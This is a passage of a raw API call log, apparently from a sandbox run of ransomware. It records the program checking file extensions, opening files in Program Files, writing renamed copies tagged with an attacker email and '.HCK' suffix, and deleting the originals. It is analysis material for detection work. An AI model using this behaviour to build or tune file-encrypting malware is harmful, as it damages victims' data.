(lpString=".rar") returned 4 [0150.387] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".bz2") returned 4 [0150.387] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString=".7z") returned 3 [0150.387] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".dbf") returned 4 [0150.387] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".1cd") returned 4 [0150.387] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".jpg") returned 4 [0150.387] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".doc") returned 4 [0150.387] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString=".docx") returned 5 [0150.387] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0150.387] lstrlenW (lpString=".pdf") returned 4 [0150.387] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".xls") returned 4 [0150.387] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".xlsx") returned 5 [0150.387] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0150.387] lstrlenW (lpString=".ppt") returned 4 [0150.387] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".zip") returned 4 [0150.387] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".rar") returned 4 [0150.387] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".bz2") returned 4 [0150.387] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString=".7z") returned 3 [0150.387] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".dbf") returned 4 [0150.387] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".1cd") returned 4 [0150.388] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0150.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.388] lstrlenW (lpString=".jpg") returned 4 [0150.388] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0150.388] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0150.388] lstrlenW (lpString="adcvbs.inc") returned 10 [0150.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.388] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=623) returned 1 [0150.388] CloseHandle (hObject=0x30c) returned 1 [0150.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0150.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0150.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0150.389] lstrlenW (lpString=".doc") returned 4 [0150.389] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0150.389] lstrlenW (lpString=".docx") returned 5 [0150.389] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0150.389] lstrlenW (lpString=".pdf") returned 4 [0150.389] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0150.389] lstrlenW (lpString=".xls") returned 4 [0150.389] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0150.389] lstrlenW (lpString=".xlsx") returned 5 [0150.389] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0150.389] lstrlenW (lpString=".ppt") returned 4 [0150.389] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0150.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0150.389] lstrlenW (lpString=".zip") returned 4 [0150.389] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0150.389] lstrlenW (lpString=".rar") returned 4 [0150.389] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0150.389] lstrlenW (lpString=".bz2") returned 4 [0150.389] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0150.389] lstrlenW (lpString=".7z") returned 3 [0150.389] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0150.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0150.389] lstrlenW (lpString=".dbf") returned 4 [0150.389] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0150.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0150.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc64 | out: lpNewFilePointer=0x0) returned 1 [0150.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc24 | out: lpNewFilePointer=0x0) returned 1 [0150.482] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fcfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a1e058*, lpNumberOfBytesRead=0x2fcfc30*=0x40000, lpOverlapped=0x0) returned 1 [0150.485] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc24 | out: lpNewFilePointer=0x0) returned 1 [0150.485] ReadFile (in: hFile=0x380, lpBuffer=0x3a5e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fcfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a5e058*, lpNumberOfBytesRead=0x2fcfc30*=0x40000, lpOverlapped=0x0) returned 1 [0150.493] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fcfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.493] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc24 | out: lpNewFilePointer=0x0) returned 1 [0150.493] ReadFile (in: hFile=0x380, lpBuffer=0x3a9e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fcfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a9e058*, lpNumberOfBytesRead=0x2fcfc30*=0x40000, lpOverlapped=0x0) returned 1 [0150.510] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.510] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2fcfca8, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfca8*=0xc010c, lpOverlapped=0x0) returned 1 [0150.785] SetEndOfFile (hFile=0x380) returned 1 [0150.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3da5ff0 [0151.157] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.157] WriteFile (in: hFile=0x380, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fcfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2fcfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.158] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.158] WriteFile (in: hFile=0x380, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fcfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2fcfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.162] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.162] WriteFile (in: hFile=0x380, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fcfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2fcfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.164] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3da5ff0 | out: hHeap=0x6b0000) returned 1 [0151.164] CloseHandle (hObject=0x380) returned 1 [0152.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.453] lstrlenW (lpString=".doc") returned 4 [0153.453] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString=".docx") returned 5 [0153.453] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0153.453] lstrlenW (lpString=".pdf") returned 4 [0153.453] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString=".xls") returned 4 [0153.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString=".xlsx") returned 5 [0153.453] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0153.453] lstrlenW (lpString=".ppt") returned 4 [0153.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.453] lstrlenW (lpString=".zip") returned 4 [0153.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.453] lstrlenW (lpString=".rar") returned 4 [0153.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString=".bz2") returned 4 [0153.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.453] lstrlenW (lpString=".7z") returned 3 [0153.454] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".dbf") returned 4 [0153.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".1cd") returned 4 [0153.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".jpg") returned 4 [0153.454] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".doc") returned 4 [0153.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString=".docx") returned 5 [0153.454] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0153.454] lstrlenW (lpString=".pdf") returned 4 [0153.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString=".xls") returned 4 [0153.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString=".xlsx") returned 5 [0153.454] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0153.454] lstrlenW (lpString=".ppt") returned 4 [0153.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".zip") returned 4 [0153.454] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.454] lstrlenW (lpString=".rar") returned 4 [0153.454] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString=".bz2") returned 4 [0153.454] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString=".7z") returned 3 [0153.454] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".dbf") returned 4 [0153.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".1cd") returned 4 [0153.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0153.454] lstrlenW (lpString=".jpg") returned 4 [0153.454] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.454] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.454] lstrlenW (lpString="AG00103_.GIF") returned 12 [0153.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.455] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12702) returned 1 [0153.455] CloseHandle (hObject=0x300) returned 1 [0153.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0153.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.455] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0153.456] GetLastError () returned 0x0 [0153.456] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x319e, lpOverlapped=0x0) returned 1 [0153.478] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x31a0, lpOverlapped=0x0) returned 1 [0153.479] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.479] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x2f4) returned 1 [0153.479] CloseHandle (hObject=0x2f4) returned 1 [0153.480] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.480] SetEndOfFile (hFile=0x300) returned 1 [0153.481] CloseHandle (hObject=0x300) returned 1 [0153.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.481] lstrlenW (lpString=".doc") returned 4 [0153.481] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.482] lstrlenW (lpString=".docx") returned 5 [0153.482] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.482] lstrlenW (lpString=".pdf") returned 4 [0153.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".xls") returned 4 [0153.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".xlsx") returned 5 [0153.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.482] lstrlenW (lpString=".ppt") returned 4 [0153.482] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".zip") returned 4 [0153.482] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".rar") returned 4 [0153.482] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".bz2") returned 4 [0153.482] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.482] lstrlenW (lpString=".7z") returned 3 [0153.482] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".dbf") returned 4 [0153.482] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".1cd") returned 4 [0153.482] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".jpg") returned 4 [0153.482] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".doc") returned 4 [0153.482] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.482] lstrlenW (lpString=".docx") returned 5 [0153.482] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.482] lstrlenW (lpString=".pdf") returned 4 [0153.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".xls") returned 4 [0153.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".xlsx") returned 5 [0153.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.482] lstrlenW (lpString=".ppt") returned 4 [0153.482] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.482] lstrlenW (lpString=".zip") returned 4 [0153.482] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".rar") returned 4 [0153.482] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.482] lstrlenW (lpString=".bz2") returned 4 [0153.482] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.483] lstrlenW (lpString=".7z") returned 3 [0153.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.483] lstrlenW (lpString=".dbf") returned 4 [0153.483] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.483] lstrlenW (lpString=".1cd") returned 4 [0153.483] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0153.483] lstrlenW (lpString=".jpg") returned 4 [0153.483] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.483] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.483] lstrlenW (lpString="AG00120_.GIF") returned 12 [0153.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.483] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3484) returned 1 [0153.483] CloseHandle (hObject=0x300) returned 1 [0153.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0153.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.484] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.484] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0153.484] GetLastError () returned 0x0 [0153.484] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd9c, lpOverlapped=0x0) returned 1 [0153.487] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xda0, lpOverlapped=0x0) returned 1 [0153.488] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, 